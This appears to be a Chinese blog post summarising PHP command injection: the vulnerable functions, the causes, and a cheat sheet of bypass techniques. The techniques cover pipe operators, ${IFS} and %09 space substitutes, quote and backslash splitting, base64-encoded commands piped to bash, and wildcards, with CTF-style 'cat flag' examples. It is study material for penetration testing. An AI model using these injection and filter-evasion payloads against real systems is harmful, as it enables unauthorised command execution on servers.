命令执行总结

命令执行漏洞

  • 漏洞概述

服务器未对执行的命令进行过滤,用户可随意执行系统命令

PHP的命令执行漏洞主要基于一些函数的参数过滤不足导致,可执行的命令函数有system()、exec()、shell_exec()、passthru()、pcntl_execl()、popen()、proc_open()

若能控制这些函数,可将恶意的系统命令拼接到正常命令中,造成命令执行攻击。

危害:控制整个网站,甚至服务器;继承web服务器的权限,执行系统命令或读写文件;反弹shell。

  • 漏洞成因
  • 未对用户输入进行过滤或过滤不严。

eg.未过滤&、&&、|、||等连接符

  • 系统漏洞造成的命令执行

    bash破壳漏洞,该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http,ssh,dhcp等

  • 调用第三方组件存在代码执行漏洞

典型:wordpress中,可选择imagemagick这个图片处理组件,对用户上传的图片进行处理(默认是imagemagic库)造成命令执行。

另外Java中的命令执行漏洞struts2/ElasticsearchGroovy等很常见

  • 漏洞利用
  1. 常见管道符
  • | 将前面命令的结果作为后面命令的输入,cmd1|cmd2
  • ||  cmd1失败则执行cmd2,cmd1成功则不执行cmd2   cmd1 || cmd2
  • &  前面和后面命令都要执行,无论前面真假
  • &&  cmd1成功则执行cmd2,cmd1失败则不执行cmd2

 cmd1 && cmd2

  • ; 多条语句顺序执行时的分隔符

    (ps : linux系统支持的管道符多一个分号;)

  1. 空格过滤
  • ${IFS}   ($IFS在Linux下表示分隔符,但是如果单纯输入cat$IFS2,bash解释器会把整个IFS2当作变量名,导致输不出结果,若加一个{}就固定了变量名,同理在后面加个$可以起到截断作用)
  • %09  (需要PHP环境)
  • $IFS$9  ($9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串)
  • < >  (重定向符绕过)
  1. 黑名单绕过
  • 拼接   a=c;b=at;c=fl;d=ag;$a$b$c$d.txt
  • 单引号,双引号   c""at fl’’ag.tx""t
  • 反斜线\   c\at fl\ag.tx\t
  • $1,$2等和$@  ca$1t fla$@g.txt
  • Base64编码   echo"Y2F0IGZsYWc="|base64-d|bash   (cat flag)

                  echo"Y2F0IGZsYWc="|base64-d|sh

                  `echo"Y2F0IGZsYWc="|base64-d`

    ``是命令替换,命令替换是指shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

     DATE=`date`echo"Date is $DATE"

     DATE is xxxxxxxxxxxxx

  1. 通配符绕过
  • ? 可以使用问号代替一个字符。如果输入love?,查找以love开头的字符结尾文件类型的文件,如lovey , lovei
  • * 可以使用星号代替零个,单个或多个字符
  1. 读取文件绕过

由cat第一行开始显示内容,并将所有内容输出

  • tac从最后一行倒叙显示内容,并将所有内容输出
  • More 根据窗口大小,一页一页的显示文件内容
  • tailf类似于tail -f
  • less和more类似,但它可以往前翻页,而且可以搜索字符
  • head只显示头几行
  • tail只显示最后几行
  • nl类似于cat -n,显示时输出行号

6.过滤管道符,分号,&符号,可在url框中使用url编码来绕过

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值